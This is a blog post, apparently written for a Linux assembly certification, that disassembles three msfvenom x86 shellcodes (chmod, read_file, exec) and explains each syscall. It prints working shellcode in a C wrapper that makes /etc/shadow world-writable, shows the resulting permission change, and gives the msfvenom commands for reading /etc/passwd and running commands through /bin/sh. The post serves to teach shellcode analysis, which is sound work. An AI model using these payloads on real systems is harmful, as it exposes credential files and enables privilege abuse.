SLAE 0x5 – Shellcode Analysis

No comments

Today, we find shellcodes on various websites like shell-storm.org, exploit-db.com and other internet forums. Running shellcode without understanding the code could have catastrophic results . For instance, a shellcode could do an rm -rf  on the file system even though the comments in the shellcode indicate otherwise. Therefore, I think its important we learn whats going on with the shellcode before we run them.

In this post, we will analyze 3 shellcodes generated by msfvenom

linux/x86/chmod – This shellcode changes the permissions of a file

ddpinto@DP-ThinkPad ~/osce $ msfvenom -p linux/x86/chmod --platform linux --arch x86 FILE=/etc/shadow -f c
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Final size of c file: 177 bytes
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";

Lets include it in our c wrapper and then run it

// linux/x86/chmod
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
ddpinto@slae:~$ gcc -fno-stack-protector -z execstack shellcode_chmod.c -o shellcode_chmod
shellcode_chmod.c:9:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main()
^~~~

Lets look at the permissions of /etc/shadow file first

ddpinto@slae:~$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1362 Mar 16 07:52 /etc/shadow

After running the shellcode, notice the permissions have changed to 666
ddpinto@slae:~$ sudo ./shellcode_chmod
[sudo] password for ddpinto:
Shellcode Length: 7
ddpinto@slae:~$ ls -al /etc/shadow
-rw-rw-rw- 1 root shadow 1362 Mar 16 07:52 /etc/shadow

Lets generate assembly code from our binary with ndisasm
ddpinto@DP-ThinkPad ~/osce $ msfvenom -p linux/x86/chmod --platform linux -a x86 R | ndisasm -u -
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
00000000 99 cdq
00000001 6A0F push byte +0xf
00000003 58 pop eax
00000004 52 push edx
00000005 E80C000000 call dword 0x16
0000000A 2F das
0000000B 657463 gs jz 0x71
0000000E 2F das
0000000F 7368 jnc 0x79
00000011 61 popad
00000012 646F fs outsd
00000014 7700 ja 0x16
00000016 5B pop ebx
00000017 68B6010000 push dword 0x1b6
0000001C 59 pop ecx
0000001D CD80 int 0x80
0000001F 6A01 push byte +0x1
00000021 58 pop eax
00000022 CD80 int 0x80

In the first syscall, 0xf (15) is stored in eax which is nothing but the chmod syscall(#define __NR_chmod 15) . For syscall numbers look at  /usr/include/i386-linux-gnu/asm/unistd_32.h.
Now lets see what parameters need to be passed to the chmod function from the programmers manual.

int chmod(const char *pathname, mode_t mode);

So the syscall for chmod (0xf) must be stored in eax. The address to the pathname must be stored in ebx and the mode (permissions) must be stored in ecx.
From the above we know that 0xf(15)  is stored in eax. After the call dword 0x16, there are a bunch of instructions that whose opcode translates to the /etc/shadow string

ddpinto@slae:~$ echo -e "\x2F\x65\x74\x63\x2F\x73\x68\x61\x64\x6F\x77\x00"
/etc/shadow

We also notice,  0x1b6 (666 in octal) is pushed on the stack which is  the permissions to be set for /etc/shadow.

For the second syscall we see 0x1 is stored in eax. This is the exit syscall(#define __NR_exit 1)

linux/x86/readfile – This shellcode reads a file defined by a file path and writes to stdout.

Lets generate the assembly code using ndisasm

ddpinto@slae:~$ msfvenom -p linux/x86/read_file PATH=/etc/passwd -f raw | ndisasm -u -
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
00000000 EB36 jmp short 0x38
00000002 B805000000 mov eax,0x5
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80
0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80
0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80
00000038 E8C5FFFFFF call 0x2
0000003D 2F das
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7061 jo 0xa5
00000044 7373 jnc 0xb9
00000046 7764 ja 0xac
00000048 00 db 0x00

First syscall

00000000 EB36 jmp short 0x38
00000002 B805000000 mov eax,0x5
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80
Here 0x5 is stored in eax. 0x5 which is the open syscall. Here’s the syntax for the open function

int open(const char *pathname, int flags);

So the syscall for open(0x5) must be stored in eax. The address of the pathname must be stored in ebx and flags if any in ecx.
This shellcode uses the jump-pop-call technique.  First instruction jmp short 0x38 does a short jump to address 00000038. At this address, a call 0x2 is encountered. Due to the calling convention, the address of the next instruction is pushed on the stack.
00000038 E8C5FFFFFF call 0x2
0000003D 2F das
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7061 jo 0xa5
00000044 7373 jnc 0xb9
00000046 7764 ja 0xac
00000048 00 db 0x00

The instructions dont make sense but their opcode translates to /etc/passwd

ddpinto@slae:~$ echo -e "\x2F\x65\x74\x63\x2F\x70\x61\x73\x73\x77\x64\x00"
/etc/passwd

This means the address of /etc/passwd is pushed onto the stack where it is then popped into ebx. So ebx stores the address of /etc/passwd. Since there are no flags defined, 0 is stored in ecx followed by the syscall

2nd syscall

0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80
For the second syscall, 0x3 is stored in eax which is the read syscall.

ssize_t read(int fd, void *buf, size_t count);

The open function from the previous syscall returns file descriptor (fd) which is stored eax , So the fd moved into ebx. Since read takes a buffer to read data into, the address on top of the stack is stored in ecx.  edx stores the count in bytes to be read i.e 0x1000 bytes.

3rd syscall

0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80

For the third syscall, 0x4 is stored in eax which is the write syscall.

ssize_t write(int fd, const void *buf, size_t count);

The read function from the previous syscall returns number the bytes read which was stored in eax. Hence eax is moved to edx i.e count in bytes. ebx holds 0x1 which indicates stdout (0 for stdin, 1 for stdout, 2 for stderr).

4th syscall

0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80

In the last syscall eax holds 0x1 which is the exit syscall.

linux/x86/exec – This shellcode executes a command
ddpinto@slae:~$ msfvenom -p linux/x86/exec --platform linux --arch x86 CMD=/usr/bin/whoami -f raw | ndisasm -u -
No encoder or badchars specified, outputting raw payload
Payload size: 51 bytes
00000000 6A0B push byte +0xb
00000002 58 pop eax
00000003 99 cdq
00000004 52 push edx
00000005 66682D63 push word 0x632d
00000009 89E7 mov edi,esp
0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
00000015 89E3 mov ebx,esp
00000017 52 push edx
00000018 E810000000 call 0x2d
0000001D 2F das
0000001E 7573 jnz 0x93
00000020 722F jc 0x51
00000022 62696E bound ebp,[ecx+0x6e]
00000025 2F das
00000026 7768 ja 0x90
00000028 6F outsd
00000029 61 popa
0000002A 6D insd
0000002B 6900575389E1 imul eax,[eax],dword 0xe1895357
00000031 CD80 int 0x80
Here eax holds +0xb. This is the syscall for execve

int execve(const char *filename, char *const argv[], char *const envp[]);

edx is set to 0 as no environment pointer to be set. ebx must hold the address of file name ie. address for string “/bin/sh -c”
All the instructions after call 0x2d translate to “/usr/bin/whoami”, which is argument that is stored in ecx

ddpinto@DP-ThinkPad ~/osce $ echo -e "\x2F\x75\x73\x72\x2F\x62\x69\x6E\x2F\x77\x68\x6F\x61\x6D\x69\x00"
/usr/bin/whoami

Github: https://github.com/buffered4ever/SLAE – 0x5

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-1932

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s